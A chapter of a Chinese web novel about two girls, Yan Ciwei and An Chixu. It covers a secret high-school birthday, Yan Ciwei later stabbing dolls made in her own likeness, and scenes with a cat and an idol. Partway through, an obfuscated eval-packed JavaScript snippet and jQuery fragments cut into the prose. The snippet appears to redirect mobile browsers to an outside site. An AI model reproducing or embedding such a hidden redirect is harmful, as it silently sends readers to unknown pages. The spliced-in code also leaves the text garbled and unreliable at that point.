晏辞微的生日在四月初,和安迟叙差了约莫半年。
她聪慧早熟,熟悉之后安迟叙就把她当大姐姐看了。
高三这年春季,最紧张的时间里,晏辞微邀请安迟叙来参加她的秘密生日宴。
没有告诉别人,哪怕晏辞微还有三五好友,拿到别致邀请函的只有安迟叙一人。
她们已经不在同一个小组,但晏辞微依旧每个课间来找安迟叙。
安迟叙的同桌很识趣,下课就走掉了,习以为常。
晏辞微把手写的邀请函悄悄塞到安迟叙课桌里。
“什么呀这么神秘。”安迟叙人还在座位上呢。
她笑盈盈的望着晏辞微到来,刚准备把头贴过去。
晏辞微的手探过来,她还没来得及捉住,就收回去了。
安迟叙满面的粉光都打上问号了,等着晏辞微给她解答。
“秘密。”晏辞微跟她眨单边眼。睁开的另一只狡黠着,一秒就将安迟叙的心勾了过来。
“团团。”晏辞微凑到安迟叙耳畔。
“有给我准备礼物吗?”她还是没忍住提前告知这个惊喜。
安迟叙瞬间明白那是什么了。
“肯定!去年就开始准备了。”安迟叙看了一眼日历。
四月九号是周末。她的心已经飞走,上课写题都走神了一刻。
晚自习间隙,安迟叙背着人打开晏辞微的邀请函。
她提前跟宿管请好假,周六晚上她便跟着晏辞微回了她的出租屋。
“团团,我只请了你。”晏辞微挽着安迟叙的手。
周五夜晚的校园外嘈杂,而她们靠着小路的暗灯走,所有喧嚣都被抛在身后。
“我好高兴。”十七岁的安迟叙还不懂这一刻的喜悦是什么。
她只是本能的朝晏辞微靠近,再被她接住。
晏辞微瞧着她这样,快活到哼起歌。
安迟叙在一旁踢着小石子当作节拍。十分钟的路恍若转瞬。
进了家门,安迟叙身心都放松了。
早上的模拟分数,没写完的试卷,要补的背诵和抄写全都烟消云散。
好像宿舍不是她的归属,晏辞微的出租屋才是她的家。
她们一起看了恐怖电影,提前吃了晏辞微准备好的生日蛋糕。
零点的闹钟在奶油堆里响起。
安迟叙扑在晏辞微怀里,把织了大半年的围巾塞进她怀里。
还有手写的贺卡,纸折的花……
安迟叙家里人不管她,伙食费每个学期打在饭卡上。
她没有闲钱给喜欢的人买礼物,唯一能给的只有一片真心。
晏辞微当然明白这一点。
她哪儿图过安迟叙的钱,安迟叙没钱才是最重要的。
“团团,你真好。”也不嫌春日热,更没嫌弃这围巾是安迟叙拆了旧衣服做的,晏辞微把围巾套上。
红艳的颜色意外衬她,肌肤也透出欢喜的血色。
“她们不给你礼物吗?”安迟叙帮晏辞微整理着围巾,才两下又笑开花了。
“不给啊。只有我的团团这么好。”说话的时候,晏辞微侧着脸。
她比安迟叙高半个头,侧身便能挡住客厅幽暗的光。
她们为了氛围感没有开大灯,夜深后客厅更黑。
晏辞微遮住唯一的光源,小夜灯在她背后忽闪,描摹她的边缘,让她变得阴冷。
居高临下的模样,本有些瘆人。
像刚刚看见的鬼。
安迟叙却只看得见晏辞微眼里的笑意。
如果晏辞微是吓人的鬼,那一定会给安迟叙一个拥抱。
那时安迟叙就是这样爱她,黑灯瞎火也要抱住晏辞微的好话。
她不知道,晏辞微注重隐私,没有告诉过别人自己的生日。
所以无论哪年哪月,只有安迟叙会给她礼物。
那一夜安迟叙睡得很沉。
晏辞微有些躁动,醒了很多次,辗转反侧的入了安迟叙的梦。
安迟叙梦见两个月后,五个月后。
她们的高中时代要结束了。以后她们也会这样要好吗?
翌日醒来,安迟叙抓住晏辞微的胳膊,不要她去准备早餐。
“怎么了团团。”晏辞微躺回去。
她眨过含着泪的眼,动作稍显僵硬。
不安的安迟叙没有注意到她的异样。
“要上大学了。”安迟叙嗓音沙哑。
“是啊。还有两个月就要高考了。”晏辞微干脆把她拉过来。
紧密相拥的时刻,晏辞微低垂眼睫。
和梦中一样……柔软。
“不想和我分开吗?”晏辞微总是这样。
一眼就能看穿安迟叙的不安,把她艰难维持的面纱轻轻揭开。
安迟叙只会闻到晏辞微的茉莉香。脱去面纱的过程没有疼痛。
她不需要开口。晏辞微会替她说出她所想的一切。
她只需要抱住晏辞微,仰着头以红涩的眼看向她。
晏辞微抚上安迟叙的头顶。
“那我们可以考同一所学校啊。”
她轻柔的爱抚着惶恐的小猫,没有对她脆弱的嘲笑。
她理解安迟叙的恐惧,好像成熟的姐姐,一步步诱着安迟叙说出她的想法,得到共赢的结论。
“同一个学校同一个专业。到时候我们很大概率分在同一个班,哪怕不是同一个宿舍,我们也可以一起搬去学校外。”晏辞微低下头看着她的团团。
好像长姐,好像母亲。
她永远是指引的那一个。
安迟叙不好意思告诉她,她曾在作文里将晏辞微当作母亲来描写,说她是她永恒的灯塔,荧光的引线。
安迟叙弯了眉眼。
她高一的时候定的目标院校在省内。
她想上那所学校的计算机系,听说就业前景很好。
她靠不了别人,只能自己搜索哪里更好,就业、未来发展预测……
没有人可以给她有保障的未来,惶恐不安是钝痛,模模糊糊的扎进安迟叙的血脉,成为她的生长痛。
而现在她已经不需要烦恼了。
她有了一个代她劳累的姐姐。
她只需要听姐姐的话就好。
“我知道我们团团一定能考上的。”晏辞微说的一直是她的目标院校。
她已经教安迟叙两年多了。
安迟叙上一次模考水平和她差不多,没道理考不上。
“要是意外落榜……我们给对方做一对娃娃吧。”紧绷的小猫松一口气,下意识悲观起来。
晏辞微带着她从中下学到了中上。最高的一次考过年级第十。
可她知道她骨子里还是那个懦弱迷茫的可怜人,万事都得做好最坏的准备。
晏辞微表情有瞬间抽搐,她不会给安迟叙万一的可能。
“……什么样的?”到底忍了忍脾气。
在安迟叙这里,温柔是她的人设,不能崩。
“像你和我的。”安迟叙伸出手在晏辞微掌心描绘。
“不然我会很想你。”离开了晏辞微,她这辈子恐怕都遇不到这么好的人了。
十七岁的安迟叙看向朦胧的心上人,一双眼有着年少天真的亮。
***
“好想你……”
夜色凝重,晏辞微在床边缓气,眼角挂着清泪,思念快要成霜。
衣兜里有一团异物在烦恼她,让她连一场思念都没法完成。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866418|176156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她把那东西摸出来。
是她白天扎的布娃娃。
还被安迟叙看见了。
好丢人。
晏辞微抬手把娃娃的头扯下来,冷眼注视了三秒后,将它丢进垃圾桶。
垃圾桶里除了纸,还躺着一只一样的,残破不堪,被刀扎穿,棉花漏了满地的布娃娃。
做工粗糙,一看就是量产商品,和安迟叙手里那只完全不同。
但,特征鲜明。
它们有着乌木似的头发,微卷绵长,凌乱的散开。
眼角有一颗显眼的红痣,最该被爱抚的地方,也最遭人恨,刀穿刺过太多次,已经看不出旧模样了。
往下是棉花娃娃短粗的身子,唯一看不出是谁的地方特地被绣上两颗红痣。
这是晏辞微照着自己模样做的布娃娃。
方才死掉的那只,已经是第98只了。
和安迟叙分开的日子里,晏辞微第98次杀死了自己。
带着血泪汗水和满满的狼狈。
依旧没有得到爱人的吻。
晏辞微拔掉针头关上灯,倒在书桌上任烧热裹挟她,昏睡过去。
被她留在床头柜的手机屏幕忽闪。
***
【小姐姐,你怎么没回消息呀,这几天工作太忙?】
安迟叙收到裴昱希的消息时,满头问号。
她打开裴昱希的小号看了一眼,没看见裴昱希的消息。倒是她这几天发过去的视频没有回应。
安迟叙截图聊天框发过去。
又收到裴昱希的截图。
两个人在大号聊天框里留下一串问号。
【可能是被吞消息了。】安迟叙没多想。这种情况也不是没有过,她以前也被吞过不少消息。
不过,以前她唯一发消息的人会搂着她,听她当面说。
现在消息被吞,不对一下账,根本发现不了。
【也对。小姐姐这两天有空吗?我想最后再和橘子呆几天>
裴昱希要把她的猫猫崽从这个假猫奴手里解救出来!
怎么会有如此冷淡的猫奴,连猫打呼都不懂。
裴昱希在屏幕那边骂骂咧咧。
安迟叙听不见她的心声,更不知道自己在转接消息的时候被动闹出过多少笑话。看裴昱希思猫心切,当然同意。
【今天下午就有空,你来接吧。这个月我可以按天数收费的】安迟叙还答应少拿钱。
裴昱希看着有点感动,默默翻新了下对安迟叙的印象。
虽然她不会照顾猫,但人还不错。
以后可以勉为其难把橘子借给她摸两分钟。
下班时间,安迟叙在沈既白欲言又止的眼神里离开。
她走后,沈既白有些失落的站在原地,头发如淋雨,被打散成一缕一缕的模样。
“要排练了,既白。”队友招呼下,沈既白不得已回首迈步。
她捏紧手机,有了决断。
***
又是周末。沈既白发来了请客邀请。
安迟叙周五送走了橘子,此刻正一个人对着猫爬架睹物思猫,不情不愿的打开和沈既白的聊天。
沈既白那段视频确实出圈了,经纪人看见了她的潜力,最近给她多安排了好些活动。
沈既白把这件事归功于安迟叙,想请客回报。
安迟叙本来就不该和她带的爱豆私下见面。
更别说,安迟叙怀疑沈既白有话想说。
但也不好推脱。沈既白提了很多次了。
再不答应,这小姑娘就要火起来,她们就真的没法聚餐了。
安迟叙准时到达了沈既白订的包间。
她关上门后五分钟,晏辞微赶到了这个地方,看向包间号。